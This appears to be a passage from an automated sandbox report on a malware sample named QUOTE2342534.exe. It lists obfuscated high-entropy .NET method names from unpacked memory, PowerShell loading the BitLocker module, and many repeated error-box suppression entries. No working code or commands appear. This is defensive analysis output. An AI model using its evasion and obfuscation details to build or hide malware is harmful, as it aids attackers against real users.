Source: 0.2.QUOTE2342534.exe.438b4a0.1.raw.unpack, U4eIuf1F4uGthpELRy.cs	High entropy of concatenated method names: 'elFQRJGsnG', 'IReQGpka2J', 'ToString', 'YC9QXTjpGA', 'rBlQmTUCGh', 'A2GQTMgYB8', 'pmlQ66NyNZ', 'OfrQ0mKZar', 'CRSQLRlvl1', 'd1HQeLCK3i'
Source: 0.2.QUOTE2342534.exe.438b4a0.1.raw.unpack, oHNWP3xqOXnYKOwagv.cs	High entropy of concatenated method names: 'Uf5QbL79Gk', 'SulQI2yDY6', 'dDEklnIMKW', 'iLTko5fa6u', 'LclQ7SgRUP', 'xMaQDESP86', 'yQYQNGZNBf', 'kkUQ8HEQt5', 'PJvQalsL6Q', 'TQpQnwMihO'
Source: 0.2.QUOTE2342534.exe.438b4a0.1.raw.unpack, CA3vo9DeDOwaY5w3me.cs	High entropy of concatenated method names: 'jCUkXiFyBb', 'xjokmQuVH7', 'B0TkTrPLW4', 'YYik6JTvSZ', 'jn4k0Zkl7i', 'WAXkL4DxRj', 'efGkeayHiG', 'YLykADdnfY', 'PE3kRqfYJE', 'ztGkGrNgAg'
Source: 0.2.QUOTE2342534.exe.438b4a0.1.raw.unpack, TkT3gfvpRSNgErHQaQ.cs	High entropy of concatenated method names: 'COQKo2VQXn', 'aJZKCXly9h', 'APZKuS8AI4', 'wC5KX1vx5w', 'TjfKmvqOQ9', 'VCWK6lQbYH', 'pOCK09Sb21', 'Vd6kypE8TO', 'kL1kbOPfMP', 'hSbkHNLGPH'
Source: 0.2.QUOTE2342534.exe.438b4a0.1.raw.unpack, M6mAoGGtiWJ0hqSmA5.cs	High entropy of concatenated method names: 'Bqn0ZlnOW4', 'uPc0mUNE7t', 'zow06SJ65b', 'cV80LQCB5h', 'fBj0efLI6G', 'XTQ6t3Sfdt', 'xal6W8T3Z0', 'xTA6yWJ4LG', 'USQ6blctSG', 'wXH6H3iZQv'
Source: 0.2.QUOTE2342534.exe.438b4a0.1.raw.unpack, b9hATX05wLpDVq4ne4.cs	High entropy of concatenated method names: 'Wpam8p8GvI', 'QUUma7YGd6', 'XJQmnCbu5M', 'Vummd0Jwwm', 'EJJmt9gT7e', 'oIAmW20noQ', 'qfJmyox0XC', 'XEAmbIOfEP', 'PmvmHkOw4B', 'fFRmImPiCr'
Source: 0.2.QUOTE2342534.exe.438b4a0.1.raw.unpack, tU4IJD49cubmoRg8Gk.cs	High entropy of concatenated method names: 'qbrLXuNV6d', 'BGlLTf2Lqj', 's03L0hSMjE', 'yDn0ILXwv3', 'kiv0ztbKmL', 'LXSLl9ojlu', 'mhwLoLy6HV', 'XWOL4gskSn', 'UH0LCwTM7i', 'ERfLuEPdoL'
Source: 0.2.QUOTE2342534.exe.438b4a0.1.raw.unpack, cEVPWK7soYoDsnybXw.cs	High entropy of concatenated method names: 'JmCkcMFkSc', 'xCak5aaywZ', 'njokS7AsWJ', 'LiFkvrRVTU', 'VrYk8gWlRO', 'bwtkf7KmiE', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.QUOTE2342534.exe.438b4a0.1.raw.unpack, pNb3QZTjfGM6vQZARU.cs	High entropy of concatenated method names: 'PHWF9P58AD', 'qmeFqcJo1h', 'lB4FcYJr0e', 'VBLF59K3dG', 'tSaFvOoLsJ', 'oCRFfeUp3Y', 'kd4FpZFfNv', 'e7BF3eHHDl', 'YjYFh5HBGX', 'yctF78leip'
Source: 0.2.QUOTE2342534.exe.438b4a0.1.raw.unpack, KF5bE15KD7itN7XHNN.cs	High entropy of concatenated method names: 'AsC6BbdvEg', 'US46JVGdmB', 'wpoTSXnpAM', 'VIWTvD5M97', 'BKUTf86v12', 'gT2T1P0A53', 'gIPTp3VVcw', 'd2bT3XbeW0', 'R8mTiHVX6r', 'F8bThdC0O9'
Source: 0.2.QUOTE2342534.exe.438b4a0.1.raw.unpack, eq4Yw4laQbFZQ9YnSO.cs	High entropy of concatenated method names: 'RoZVkdlMu', 'IokrI2xIv', 'eMTwJOlIR', 'FPYJOZwM1', 'B69qmsFlW', 'LLZsi39dd', 'Pb5plf9Mw2qk7fq5o9', 'CgQQv0Bf0t7u2kWcJL', 'En3kAwraB', 'GtaxBXyJr'
Source: 0.2.QUOTE2342534.exe.438b4a0.1.raw.unpack, ckyhrWsrr3WEVToDvX.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'CM14HNvDn8', 'z0c4IL8aHr', 'vwE4zxwjNM', 'ES9Cl6ntWg', 'SrLCoh2uX7', 'gVLC4lXqRs', 'S6pCCfk4iJ', 'ypUnrNOOT0eR8E1IGZ2'
Source: 0.2.QUOTE2342534.exe.438b4a0.1.raw.unpack, QrrAevQFuxKJYAdplq.cs	High entropy of concatenated method names: 'Ww6oLGLa0H', 'gAkoeBjh4V', 'LnooR4wok8', 'bhjoGgB25N', 'jFcoYCFS4m', 'nF0oMX05gl', 'pDNlIw4hG8nXEKBIsd', 'iJ5wuISINQBspOb6u3', 'z7toolHUf2', 't4ooCm19sr'
Source: 0.2.QUOTE2342534.exe.438b4a0.1.raw.unpack, V6sh5ea6d9bGrdVyfIO.cs	High entropy of concatenated method names: 'tvrKPfVeqG', 'pDkKODuOed', 'z91KV4sPIb', 'sqEKrWJIpP', 'B9uKBhZ490', 'aToKwDuZwS', 'Wo9KJ8l2AR', 'vyyK95RFCb', 'io8KqWOHb5', 'XNtKsgNsDX'
Source: 0.2.QUOTE2342534.exe.438b4a0.1.raw.unpack, HksaVK8qpESfOv37Jt.cs	High entropy of concatenated method names: 'Dispose', 'qbmoHMRS2a', 'NKu45yTRQ2', 'O14UUhVcPK', 'XcXoIRE2kM', 'shtozseqIt', 'ProcessDialogKey', 'gwm4lbug0S', 'jLt4o1qYGj', 'ebW4467ukZ'
Source: 0.2.QUOTE2342534.exe.438b4a0.1.raw.unpack, antDFoW3jL51WwDMKQ.cs	High entropy of concatenated method names: 'oLOTrit6I1', 'xqqTwoUWGV', 'GX1T98kESU', 'hAmTqyc7NA', 'QjlTYT1VFa', 'HhXTMkmMED', 'jDSTQZQKma', 'gb3TkLfrh2', 'RB2TK1NgIc', 'Ka4Txx2noF'
Source: 0.2.QUOTE2342534.exe.438b4a0.1.raw.unpack, btQxbDHvSZeM3yABlR.cs	High entropy of concatenated method names: 'poPYhFkX4Q', 'KbbYDhvIjg', 'CB8Y8VtNu9', 'rocYa3wfac', 'DS7Y5bmfPr', 'BtvYS4RHYQ', 'm9cYvMBP4J', 'QyIYfieBFt', 'fhHY1hUXkE', 'URrYpgqs3k'
Source: 0.2.QUOTE2342534.exe.438b4a0.1.raw.unpack, JvaI8SaRcvwgX0l9NJu.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'NfNx8vB03G', 'LHhxaZl2Mm', 'sENxn9F9lm', 'asKxdaMZPZ', 'qNhxtcFpCA', 'YZaxWcZPHF', 'VmFxy4FRLF'
Source: 0.2.QUOTE2342534.exe.b860000.3.raw.unpack, s4g7xRntK7HFTBAmjj.cs	High entropy of concatenated method names: 'jERLPTU3Is', 'KelLOPnWq2', 'kaELVBuOLn', 'AQ1LrCNrXl', 'OH9LBKEGwN', 'QUDLwVXiPu', 'E2ELJuAVq7', 'pnmL9bQZ9w', 'VX1LqR5rH2', 'iweLsofJYh'
Source: 0.2.QUOTE2342534.exe.b860000.3.raw.unpack, RgTGNHbnx4wRLD1BjK.cs	High entropy of concatenated method names: 'bOACZ7hoBA', 'OtmCXXaMrV', 'O56Cm5Jya3', 'fsZCTZ9r7t', 'VbRC6BA0wC', 'OSFC0Ey1U8', 'oiXCLWo6q9', 'oQxCerMZTQ', 'xgKCADA3Ps', 'KKLCRJ9cVK'
Source: 0.2.QUOTE2342534.exe.b860000.3.raw.unpack, U4eIuf1F4uGthpELRy.cs	High entropy of concatenated method names: 'elFQRJGsnG', 'IReQGpka2J', 'ToString', 'YC9QXTjpGA', 'rBlQmTUCGh', 'A2GQTMgYB8', 'pmlQ66NyNZ', 'OfrQ0mKZar', 'CRSQLRlvl1', 'd1HQeLCK3i'
Source: 0.2.QUOTE2342534.exe.b860000.3.raw.unpack, oHNWP3xqOXnYKOwagv.cs	High entropy of concatenated method names: 'Uf5QbL79Gk', 'SulQI2yDY6', 'dDEklnIMKW', 'iLTko5fa6u', 'LclQ7SgRUP', 'xMaQDESP86', 'yQYQNGZNBf', 'kkUQ8HEQt5', 'PJvQalsL6Q', 'TQpQnwMihO'
Source: 0.2.QUOTE2342534.exe.b860000.3.raw.unpack, CA3vo9DeDOwaY5w3me.cs	High entropy of concatenated method names: 'jCUkXiFyBb', 'xjokmQuVH7', 'B0TkTrPLW4', 'YYik6JTvSZ', 'jn4k0Zkl7i', 'WAXkL4DxRj', 'efGkeayHiG', 'YLykADdnfY', 'PE3kRqfYJE', 'ztGkGrNgAg'
Source: 0.2.QUOTE2342534.exe.b860000.3.raw.unpack, TkT3gfvpRSNgErHQaQ.cs	High entropy of concatenated method names: 'COQKo2VQXn', 'aJZKCXly9h', 'APZKuS8AI4', 'wC5KX1vx5w', 'TjfKmvqOQ9', 'VCWK6lQbYH', 'pOCK09Sb21', 'Vd6kypE8TO', 'kL1kbOPfMP', 'hSbkHNLGPH'
Source: 0.2.QUOTE2342534.exe.b860000.3.raw.unpack, M6mAoGGtiWJ0hqSmA5.cs	High entropy of concatenated method names: 'Bqn0ZlnOW4', 'uPc0mUNE7t', 'zow06SJ65b', 'cV80LQCB5h', 'fBj0efLI6G', 'XTQ6t3Sfdt', 'xal6W8T3Z0', 'xTA6yWJ4LG', 'USQ6blctSG', 'wXH6H3iZQv'
Source: 0.2.QUOTE2342534.exe.b860000.3.raw.unpack, b9hATX05wLpDVq4ne4.cs	High entropy of concatenated method names: 'Wpam8p8GvI', 'QUUma7YGd6', 'XJQmnCbu5M', 'Vummd0Jwwm', 'EJJmt9gT7e', 'oIAmW20noQ', 'qfJmyox0XC', 'XEAmbIOfEP', 'PmvmHkOw4B', 'fFRmImPiCr'
Source: 0.2.QUOTE2342534.exe.b860000.3.raw.unpack, tU4IJD49cubmoRg8Gk.cs	High entropy of concatenated method names: 'qbrLXuNV6d', 'BGlLTf2Lqj', 's03L0hSMjE', 'yDn0ILXwv3', 'kiv0ztbKmL', 'LXSLl9ojlu', 'mhwLoLy6HV', 'XWOL4gskSn', 'UH0LCwTM7i', 'ERfLuEPdoL'
Source: 0.2.QUOTE2342534.exe.b860000.3.raw.unpack, cEVPWK7soYoDsnybXw.cs	High entropy of concatenated method names: 'JmCkcMFkSc', 'xCak5aaywZ', 'njokS7AsWJ', 'LiFkvrRVTU', 'VrYk8gWlRO', 'bwtkf7KmiE', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.QUOTE2342534.exe.b860000.3.raw.unpack, pNb3QZTjfGM6vQZARU.cs	High entropy of concatenated method names: 'PHWF9P58AD', 'qmeFqcJo1h', 'lB4FcYJr0e', 'VBLF59K3dG', 'tSaFvOoLsJ', 'oCRFfeUp3Y', 'kd4FpZFfNv', 'e7BF3eHHDl', 'YjYFh5HBGX', 'yctF78leip'
Source: 0.2.QUOTE2342534.exe.b860000.3.raw.unpack, KF5bE15KD7itN7XHNN.cs	High entropy of concatenated method names: 'AsC6BbdvEg', 'US46JVGdmB', 'wpoTSXnpAM', 'VIWTvD5M97', 'BKUTf86v12', 'gT2T1P0A53', 'gIPTp3VVcw', 'd2bT3XbeW0', 'R8mTiHVX6r', 'F8bThdC0O9'
Source: 0.2.QUOTE2342534.exe.b860000.3.raw.unpack, eq4Yw4laQbFZQ9YnSO.cs	High entropy of concatenated method names: 'RoZVkdlMu', 'IokrI2xIv', 'eMTwJOlIR', 'FPYJOZwM1', 'B69qmsFlW', 'LLZsi39dd', 'Pb5plf9Mw2qk7fq5o9', 'CgQQv0Bf0t7u2kWcJL', 'En3kAwraB', 'GtaxBXyJr'
Source: 0.2.QUOTE2342534.exe.b860000.3.raw.unpack, ckyhrWsrr3WEVToDvX.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'CM14HNvDn8', 'z0c4IL8aHr', 'vwE4zxwjNM', 'ES9Cl6ntWg', 'SrLCoh2uX7', 'gVLC4lXqRs', 'S6pCCfk4iJ', 'ypUnrNOOT0eR8E1IGZ2'
Source: 0.2.QUOTE2342534.exe.b860000.3.raw.unpack, QrrAevQFuxKJYAdplq.cs	High entropy of concatenated method names: 'Ww6oLGLa0H', 'gAkoeBjh4V', 'LnooR4wok8', 'bhjoGgB25N', 'jFcoYCFS4m', 'nF0oMX05gl', 'pDNlIw4hG8nXEKBIsd', 'iJ5wuISINQBspOb6u3', 'z7toolHUf2', 't4ooCm19sr'
Source: 0.2.QUOTE2342534.exe.b860000.3.raw.unpack, V6sh5ea6d9bGrdVyfIO.cs	High entropy of concatenated method names: 'tvrKPfVeqG', 'pDkKODuOed', 'z91KV4sPIb', 'sqEKrWJIpP', 'B9uKBhZ490', 'aToKwDuZwS', 'Wo9KJ8l2AR', 'vyyK95RFCb', 'io8KqWOHb5', 'XNtKsgNsDX'
Source: 0.2.QUOTE2342534.exe.b860000.3.raw.unpack, HksaVK8qpESfOv37Jt.cs	High entropy of concatenated method names: 'Dispose', 'qbmoHMRS2a', 'NKu45yTRQ2', 'O14UUhVcPK', 'XcXoIRE2kM', 'shtozseqIt', 'ProcessDialogKey', 'gwm4lbug0S', 'jLt4o1qYGj', 'ebW4467ukZ'
Source: 0.2.QUOTE2342534.exe.b860000.3.raw.unpack, antDFoW3jL51WwDMKQ.cs	High entropy of concatenated method names: 'oLOTrit6I1', 'xqqTwoUWGV', 'GX1T98kESU', 'hAmTqyc7NA', 'QjlTYT1VFa', 'HhXTMkmMED', 'jDSTQZQKma', 'gb3TkLfrh2', 'RB2TK1NgIc', 'Ka4Txx2noF'
Source: 0.2.QUOTE2342534.exe.b860000.3.raw.unpack, btQxbDHvSZeM3yABlR.cs	High entropy of concatenated method names: 'poPYhFkX4Q', 'KbbYDhvIjg', 'CB8Y8VtNu9', 'rocYa3wfac', 'DS7Y5bmfPr', 'BtvYS4RHYQ', 'm9cYvMBP4J', 'QyIYfieBFt', 'fhHY1hUXkE', 'URrYpgqs3k'
Source: 0.2.QUOTE2342534.exe.b860000.3.raw.unpack, JvaI8SaRcvwgX0l9NJu.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'NfNx8vB03G', 'LHhxaZl2Mm', 'sENxn9F9lm', 'asKxdaMZPZ', 'qNhxtcFpCA', 'YZaxWcZPHF', 'VmFxy4FRLF'

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
